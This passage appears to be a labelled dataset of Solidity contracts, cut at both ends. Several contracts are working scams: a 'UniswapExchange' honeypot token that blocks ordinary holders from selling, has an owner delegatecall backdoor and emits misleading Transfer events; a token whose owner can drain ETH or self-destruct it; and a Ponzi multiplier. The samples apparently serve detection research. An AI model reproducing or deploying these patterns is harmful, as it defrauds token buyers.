uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,355
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,940
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 500000000; uint256 public buyPrice = 2000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'ESTA', 'ESTA') payable public { } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() payable public { selfdestruct(owner); } function getEth(uint num) payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
0
702
pragma solidity ^0.4.25; contract BestMultiplier { uint constant MINIMAL_DEPOSIT = 0.01 ether; uint constant MAX_DEPOSIT = 7 ether; uint constant JACKPOT_MINIMAL_DEPOSIT = 0.05 ether; uint constant JACKPOT_DURATION = 20 minutes; uint constant JACKPOT_PERCENTAGE = 500; uint constant PROMOTION_PERCENTAGE = 325; uint constant PAYROLL_PERCENTAGE = 175; address constant MANAGER = 0x6dACb074D55909e3a477B926404A3a3A5BeF0d39; address constant RESERVE_MANAGER = 0xE33c7B34c6113Fb066F16660791a0bB38f416cb8; address constant PROMOTION_FUND = 0x8026F25c6f898b4afE03d05F87e6c2AFeaaC3a3D; address constant SUPPORT_FUND = 0x8a3F4DCb5c59b555a54Ee171c6e98320547Dd4F4; struct Deposit { address member; uint amount; } struct Jackpot { address lastMember; uint time; uint amount; } Deposit[] public deposits; Jackpot public jackpot; uint public totalInvested; uint public currentIndex; uint public startTime; function () public payable { require(isRunning()); address member = msg.sender; uint amount = msg.value; if (now - jackpot.time >= JACKPOT_DURATION && jackpot.time > 0) { send(member, amount); if (!payouts()) { return; } send(jackpot.lastMember, jackpot.amount); startTime = 0; return; } require(amount >= MINIMAL_DEPOSIT && amount <= MAX_DEPOSIT); if (amount >= JACKPOT_MINIMAL_DEPOSIT) { jackpot.lastMember = member; jackpot.time = now; } deposits.push( Deposit(member, amount * calcMultiplier() / 100) ); totalInvested += amount; jackpot.amount += amount * JACKPOT_PERCENTAGE / 10000; send(PROMOTION_FUND, amount * PROMOTION_PERCENTAGE / 10000); send(SUPPORT_FUND, amount * PAYROLL_PERCENTAGE / 10000); payouts(); } function payouts() internal returns(bool complete) { uint balance = address(this).balance; balance = balance >= jackpot.amount ? balance - jackpot.amount : 0; uint countPayouts; for (uint i = currentIndex; i < deposits.length; i++) { Deposit storage deposit = deposits[currentIndex]; if (balance >= deposit.amount) { send(deposit.member, deposit.amount); balance -= deposit.amount; delete deposits[currentIndex]; currentIndex++; countPayouts++; if (countPayouts >= 15) { break; } } else { send(deposit.member, balance); deposit.amount -= balance; complete = true; break; } } } function send(address _receiver, uint _amount) internal { if (_amount > 0 && address(_receiver) != 0) { _receiver.send(_amount); } } function restart(uint _time) public { require(MANAGER == msg.sender || RESERVE_MANAGER == msg.sender); require(!isRunning()); require(_time >= now + 10 minutes); currentIndex = deposits.length; startTime = _time; totalInvested = 0; delete jackpot; } function isStopped() public view returns(bool) { return startTime == 0; } function isWaiting() public view returns(bool) { return startTime > now; } function isRunning() public view returns(bool) { return !isWaiting() && !isStopped(); } function calcMultiplier() public view returns (uint) { if (totalInvested <= 75 ether) return 120; if (totalInvested <= 200 ether) return 130; if (totalInvested <= 350 ether) return 135; return 140; } function depositsOfMember(address _member) public view returns(uint[] amounts, uint[] places) { uint count; for (uint i = currentIndex; i < deposits.length; i++) { if (deposits[i].member == _member) { count++; } } amounts = new uint[](count); places = new uint[](count); uint id; for (i = currentIndex; i < deposits.length; i++) { if (deposits[i].member == _member) { amounts[id] = deposits[i].amount; places[id] = i - currentIndex + 1; id++; } } } function stats() public view returns( string status, uint timestamp, uint timeStart, uint timeJackpot, uint queueLength, uint invested, uint multiplier, uint jackpotAmount, address jackpotMember ) { if (isStopped()) { status = "stopped"; } else if (isWaiting()) { status = "waiting"; } else { status = "running"; } if (isWaiting()) { timeStart = startTime - now; } if (now - jackpot.time < JACKPOT_DURATION) { timeJackpot = JACKPOT_DURATION - (now - jackpot.time); } timestamp = now; queueLength = deposits.length - currentIndex; invested = totalInvested; jackpotAmount = jackpot.amount; jackpotMember = jackpot.lastMember; multiplier = calcMultiplier(); } }
0
2,442
pragma solidity ^0.4.17; contract GBPp { address public server; address public populous; uint256 public totalSupply; bytes32 public name; uint8 public decimals; bytes32 public symbol; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); modifier onlyServer { require(isServer(msg.sender) == true); _; } modifier onlyServerOrOnlyPopulous { require(isServer(msg.sender) == true || isPopulous(msg.sender) == true); _; } modifier onlyPopulous { require(isPopulous(msg.sender) == true); _; } function GBPp () public { populous = server = 0x63d509F7152769Ddf162eD048B83719fE1e31080; symbol = name = 0x47425070; decimals = 6; balances[server] = safeAdd(balances[server], 10000000000000000); totalSupply = safeAdd(totalSupply, 10000000000000000); } function destroyTokens(uint amount) public onlyPopulous returns (bool success) { if (balances[populous] < amount) { return false; } else { balances[populous] = safeSub(balances[populous], amount); totalSupply = safeSub(totalSupply, amount); return true; } } function destroyTokensFrom(uint amount, address from) public onlyPopulous returns (bool success) { if (balances[from] < amount) { return false; } else { balances[from] = safeSub(balances[from], amount); totalSupply = safeSub(totalSupply, amount); return true; } } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function isPopulous(address sender) public view returns (bool) { return sender == populous; } function changePopulous(address _populous) public { require(isServer(msg.sender) == true); populous = _populous; } function isServer(address sender) public view returns (bool) { return sender == server; } function changeServer(address _server) public { require(isServer(msg.sender) == true); server = _server; } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } }
1
3,467
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
496
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; address public saleAgent; modifier notLocked() { require(msg.sender == owner || msg.sender == saleAgent || mintingFinished); _; } function setSaleAgent(address newSaleAgnet) public { require(msg.sender == saleAgent || msg.sender == owner); saleAgent = newSaleAgnet; } function mint(address _to, uint256 _amount) public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() public returns (bool) { require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished); mintingFinished = true; MintFinished(); return true; } function 